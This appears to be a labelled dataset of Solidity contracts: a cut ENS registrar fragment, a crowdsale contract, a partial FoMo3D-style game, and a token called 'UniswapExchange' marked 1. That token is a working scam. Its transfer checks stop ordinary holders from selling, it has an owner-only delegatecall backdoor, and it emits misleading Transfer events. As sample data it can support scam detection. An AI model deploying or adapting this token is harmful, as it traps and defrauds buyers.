address owner = ensRegistry.owner(namehash);
if(creationTime == 0) {
require(
owner != address(0) ||
ensRegistry.resolver(namehash) != address(0),
"Nothing to slash."
);
} else {
assert(creationTime != block.timestamp);
amountToTransfer = accounts[label].balance;
delete accounts[label];
}
ensRegistry.setSubnodeOwner(ensNode, label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
if (amountToTransfer > 0) {
reserveAmount -= amountToTransfer;
uint256 partialDeposit = amountToTransfer / 3;
amountToTransfer = partialDeposit * 2;
bytes32 secret = keccak256(abi.encodePacked(namehash, creationTime, _reserveSecret));
SlashReserve memory reserve = reservedSlashers[secret];
require(reserve.reserver != address(0), "Not reserved.");
require(reserve.blockNumber < block.number, "Cannot reveal in same block");
delete reservedSlashers[secret];
require(token.transfer(reserve.reserver, amountToTransfer), "Error in transfer.");
}
emit UsernameOwner(namehash, address(0));
}
function setState(RegistrarState _state) private {
state = _state;
emit RegistryState(_state);
}
function eraseNodeHierarchy(
uint _idx,
bytes32[] _labels,
bytes32 _subnode
)
private
{
ensRegistry.setSubnodeOwner(_subnode, _labels[_idx], address(this));
bytes32 subnode = keccak256(abi.encodePacked(_subnode, _labels[_idx]));
if (_idx > 0) {
eraseNodeHierarchy(_idx - 1, _labels, subnode);
}
ensRegistry.setResolver(subnode, 0);
ensRegistry.setOwner(subnode, 0);
}
function abiDecodeRegister(
bytes _data
)
private
pure
returns(
bytes4 sig,
bytes32 label,
address account,
bytes32 pubkeyA,
bytes32 pubkeyB
)
{
assembly {
sig := mload(add(_data, add(0x20, 0)))
label := mload(add(_data, 36))
account := mload(add(_data, 68))
pubkeyA := mload(add(_data, 100))
pubkeyB := mload(add(_data, 132))
}
}
}
| 0 | 499 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 3,911 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract IMintableToken {
function mint(address _to, uint256 _amount) returns (bool);
function finishMinting() returns (bool);
}
contract PricingStrategy {
using SafeMath for uint;
uint public rate0;
uint public rate1;
uint public rate2;
uint public threshold1;
uint public threshold2;
uint public minimumWeiAmount;
function PricingStrategy(
uint _rate0,
uint _rate1,
uint _rate2,
uint _minimumWeiAmount,
uint _threshold1,
uint _threshold2
) {
require(_rate0 > 0);
require(_rate1 > 0);
require(_rate2 > 0);
require(_minimumWeiAmount > 0);
require(_threshold1 > 0);
require(_threshold2 > 0);
rate0 = _rate0;
rate1 = _rate1;
rate2 = _rate2;
minimumWeiAmount = _minimumWeiAmount;
threshold1 = _threshold1;
threshold2 = _threshold2;
}
function isPricingStrategy() public constant returns (bool) {
return true;
}
function calculateTokenAmount(uint weiAmount) public constant returns (uint tokenAmount) {
uint bonusRate = 0;
if (weiAmount >= minimumWeiAmount) {
bonusRate = rate0;
}
if (weiAmount >= threshold1) {
bonusRate = rate1;
}
if (weiAmount >= threshold2) {
bonusRate = rate2;
}
return weiAmount.mul(bonusRate);
}
}
contract Reservation is Pausable {
using SafeMath for uint;
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 500;
IMintableToken public token;
PricingStrategy public pricingStrategy;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensHardCap;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Reservation(
address _token,
address _pricingStrategy,
address _multisigWallet,
uint _start,
uint _end,
uint _tokensHardCap,
uint _minimumFundingGoal
) {
require(_token != 0);
require(_pricingStrategy != 0);
require(_multisigWallet != 0);
require(_start != 0);
require(_end != 0);
require(_start < _end);
require(_tokensHardCap != 0);
token = IMintableToken(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
startsAt = _start;
endsAt = _end;
tokensHardCap = _tokensHardCap;
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
invest(msg.sender);
}
function invest(address receiver) whenNotPaused payable {
if (getState() == State.PreFunding) {
require(earlyParticipantWhitelist[receiver]);
} else {
require(getState() == State.Funding);
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculateTokenAmount(weiAmount);
require(tokenAmount > 0);
if (investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
require(!isBreakingCap(tokensSold));
token.mint(receiver, tokenAmount);
multisigWallet.transfer(weiAmount);
Invested(receiver, weiAmount, tokenAmount);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
require(now <= time);
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(address _pricingStrategy) onlyOwner {
pricingStrategy = PricingStrategy(_pricingStrategy);
require(pricingStrategy.isPricingStrategy());
}
function setMultisig(address addr) public onlyOwner {
require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE);
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value > 0);
loadedRefund = loadedRefund.add(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue > 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
function getState() public constant returns (State) {
if (address(pricingStrategy) == 0)
return State.Preparing;
else if (block.timestamp < startsAt)
return State.PreFunding;
else if (block.timestamp <= endsAt && !isReservationFull())
return State.Funding;
else if (isMinimumGoalReached())
return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised)
return State.Refunding;
else
return State.Failure;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isBreakingCap(uint tokensSoldTotal) constant returns (bool) {
return tokensSoldTotal > tokensHardCap;
}
function isReservationFull() public constant returns (bool) {
return tokensSold >= tokensHardCap;
}
modifier inState(State state) {
require(getState() == state);
_;
}
}
| 0 | 1,856 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DClick is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF3681dFcc199123fAFCd4E6e186f66c621ecE3B1);
address private admin = 0x700D7ccD114D988f0CEDDFCc60dd8c3a2f7b49FB;
address private coin_base = 0xD591678684E7c2f033b5eFF822553161bdaAd781;
string constant public name = "F3DClick";
string constant public symbol = "F3DClick";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 60 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
